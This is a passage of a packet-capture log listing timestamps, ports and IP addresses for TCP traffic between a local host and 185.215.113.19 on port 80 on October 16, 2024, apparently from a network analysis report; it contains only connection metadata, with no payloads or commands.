Oct 16, 2024 19:22:39.426920891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.426980019 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.426984072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.426985979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427058935 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427063942 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427067995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427102089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427102089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427143097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427160978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427191973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427239895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427272081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427309990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427309990 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427354097 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427453041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427453041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427453041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427588940 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427591085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427591085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427591085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427591085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427591085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427593946 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427603006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427623034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427627087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427627087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427632093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427640915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427643061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427650928 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427659988 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427671909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427675962 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427685976 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427721977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427761078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427761078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427777052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427803993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427809000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427818060 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427834034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427839041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427844048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427844048 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427846909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427869081 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427872896 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.427982092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427983046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427983046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.427983046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428009033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428037882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428061008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428097963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428141117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428145885 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428153992 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428184032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428188086 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428189039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428189993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428189993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428198099 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428255081 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428261042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428262949 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428263903 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428270102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428272009 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428277016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428278923 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428284883 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428286076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428308010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428361893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428361893 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428410053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428445101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428450108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428453922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428457975 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428466082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428471088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428481102 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428498030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428498030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428498030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428637028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428637028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428637028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428637028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428637981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428657055 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428663969 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428714037 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428719044 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428760052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428760052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428760052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428760052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428772926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428777933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428786993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428791046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428793907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.428818941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428975105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428975105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428975105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.428975105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429001093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429044008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429044008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429083109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429094076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429099083 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429107904 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429145098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429145098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429151058 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429156065 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429163933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429168940 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429177999 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429182053 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429189920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429193020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429197073 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429204941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429243088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429284096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429372072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429372072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429372072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429395914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429426908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429616928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429616928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429616928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429616928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429675102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429675102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429835081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429860115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429867029 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429891109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429929018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429934978 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429936886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429936886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429939032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429958105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429961920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.429961920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.429972887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430093050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430119038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430119038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430119038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430119038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430150032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430197001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430197001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430257082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430257082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430291891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430291891 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430392981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430418968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430423021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430425882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430425882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430425882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430425882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430425882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430425882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430433035 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430437088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430495977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430525064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430525064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430556059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430561066 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430569887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430573940 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430593014 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430597067 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430619001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430619001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430644989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430656910 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430660963 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430670023 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430675983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430692911 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430757046 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430762053 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430771112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430795908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430795908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430829048 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430839062 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.430845022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430845022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430869102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430931091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.430931091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431005001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431005001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431022882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431092024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431092024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431092024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431107998 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431159019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431159019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431159019 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431204081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431204081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431230068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431329966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431329966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431329966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431329966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431358099 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431372881 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431376934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431395054 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431408882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431408882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431408882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431472063 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431493998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431493998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431519032 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431546926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431580067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431580067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431602001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431605101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431612015 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431642056 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431657076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431719065 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431777954 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431783915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431821108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431821108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431821108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431821108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431927919 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431946993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431946993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431946993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431946993 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431947947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431977034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.431987047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431988001 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.431998968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432038069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432038069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432060003 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432066917 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432080984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432089090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432101011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432104111 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432301044 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432310104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432342052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432368040 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432384014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432463884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432463884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432463884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432463884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432477951 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432482004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432492971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432535887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432539940 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432547092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432547092 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432585001 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432590008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432595968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432635069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432635069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432650089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432737112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432796001 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432804108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432804108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432804108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432804108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432804108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432804108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432840109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432962894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432962894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432962894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432962894 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432971954 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.432991028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.432991028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433044910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433096886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433096886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433151007 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.433151007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433151007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433191061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.433235884 CEST	49716	80	192.168.2.9	185.215.113.19
